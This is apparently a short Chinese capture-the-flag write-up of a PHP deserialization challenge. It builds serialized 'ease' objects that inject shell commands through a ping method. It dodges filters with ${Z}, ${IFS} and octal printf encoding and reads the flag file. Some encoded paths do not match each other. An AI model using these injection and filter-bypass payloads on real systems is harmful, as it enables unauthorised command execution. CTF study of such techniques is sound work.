進入環境
在獲得的場景中發現PHP代碼并進行分析
編寫PHP編碼
得到
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJwd2QiO319
將其傳入
想執行ls,但是發現被過濾掉了
使用環境變量進行繞過
$a = new ease("ping",array('l${Z}s'));
運行得到
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo2OiJsJHtafXMiO319
再次傳入參數
查到了flag_1s_here文件但是被過濾掉了,進行繞過
得到
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozMjoibCR7Wn1zJHtJRlN9ZiR7Wn1sYWdfMSR7Wn1zX2hlcmUiO319
進行上傳
得到flag
flag_831b69012c67b35f.php
進行訪問
發現沒什么用
上代碼
#include<stdio.h>
int main()
{char site[] = "cat flag_ls_here/flag_831b69012c67b35f.php";for (int i = 0; i < sizeof site / sizeof site[0]; i++){printf("\\%o", site[i]);}return 0;
}
運行得到
\143\141\164\040\146\154\141\147\137\154\163\137\150\145\162\145\057\146\154\141\147\055\067\060\061\142\065\147\060\061\062\143\066\067\060\063\065\066\056\160\150\160
構造payload
$a = new
ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
運行得到
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319
傳入參數
得到最后的flag